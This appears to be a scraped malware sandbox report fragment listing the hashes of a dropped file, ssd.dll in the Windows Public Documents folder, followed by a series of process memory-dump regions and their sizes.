dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
\Users\Public\Documents\ssd.dll
MD5
32acc61226f47023b7e70deca529216a

SHA1
5bfe17b62987edcd8cc6e76448f9cbd8fef9d13f

SHA256
5472d14831a29dd4c1584c085266a9bf829ff6d21cb944ee1c719edb8646dec1

SHA512
dbde93cf65bba84cda4c15c976015d27ea09cb9915c1f59dfeb7f87013679bad46f74082a6ad16a8aa04e3f306fd97e7767c8e4ac62b3686697268480698da21

Download Submit
memory/536-58-0x000007FEFB7E1000-0x000007FEFB7E3000-memory.dmp

Filesize
8KB

Download
memory/748-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/748-54-0x000000002FFA1000-0x000000002FFA4000-memory.dmp

Filesize
12KB

Download
memory/748-57-0x0000000074F01000-0x0000000074F03000-memory.dmp

Filesize
8KB

Download
memory/748-55-0x0000000070FD1000-0x0000000070FD3000-memory.dmp

Filesize
8KB

Download
memory/1536-96-0x00000000001E0000-0x0000000000208000-memory.dmp

Filesize
160KB

Download
memory/1536-100-0x00000000004A0000-0x00000000004C8000-memory.dmp

Filesize
160KB

Download
memory/1536-116-0x0000000002B71000-0x0000000002B95000-memory.dmp

Filesize
144KB

Download
memory/1536-114-0x0000000002B10000-0x0000000002B38000-memory.dmp

Filesize
160KB

Download
memory/1536-112-0x0000000002910000-0x0000000002938000-memory.dmp

Filesize
160KB

Download
memory/1536-110-0x0000000002750000-0x0000000002778000-memory.dmp

Filesize
160KB

Download
memory/1536-108-0x00000000026F0000-0x0000000002718000-memory.dmp

Filesize
160KB

Download
memory/1536-106-0x0000000002590000-0x00000000025B8000-memory.dmp

Filesize
160KB

Download
memory/1536-104-0x0000000002480000-0x00000000024A8000-memory.dmp

Filesize
160KB

Download
memory/1564-82-0x0000000000670000-0x0000000000698000-memory.dmp

Filesize
160KB

Download
memory/1564-91-0x0000000002880000-0x00000000028A8000-memory.dmp

Filesize
160KB

Download
memory/1564-88-0x0000000002820000-0x0000000002848000-memory.dmp

Filesize
160KB

Download
memory/1564-86-0x0000000002550000-0x0000000002578000-memory.dmp

Filesize
160KB

Download
memory/1564-84-0x0000000002460000-0x0000000002488000-memory.dmp

Filesize
160KB

Download
memory/1564-80-0x00000000003B0000-0x00000000003D8000-memory.dmp

Filesize
160KB

Download
memory/1564-78-0x00000000001F0000-0x0000000000218000-memory.dmp

Filesize
160KB

Download
memory/1688-64-0x0000000001F02000-0x0000000001F04000-memory.dmp

Filesize
8KB

Download
memory/1688-62-0x0000000001F00000-0x0000000001F01000-memory.dmp

Filesize
4KB

Download
memory/1688-63-0x0000000001F01000-0x0000000001F02000-memory.dmp

Filesize
4KB

Download
memory/1804-71-0x00000000002B0000-0x00000000002D8000-memory.dmp

Filesize
160KB

Download
memory/1852-93-0x0000000000300000-0x0000000000328000-memory.dmp

Filesize
160KB

Download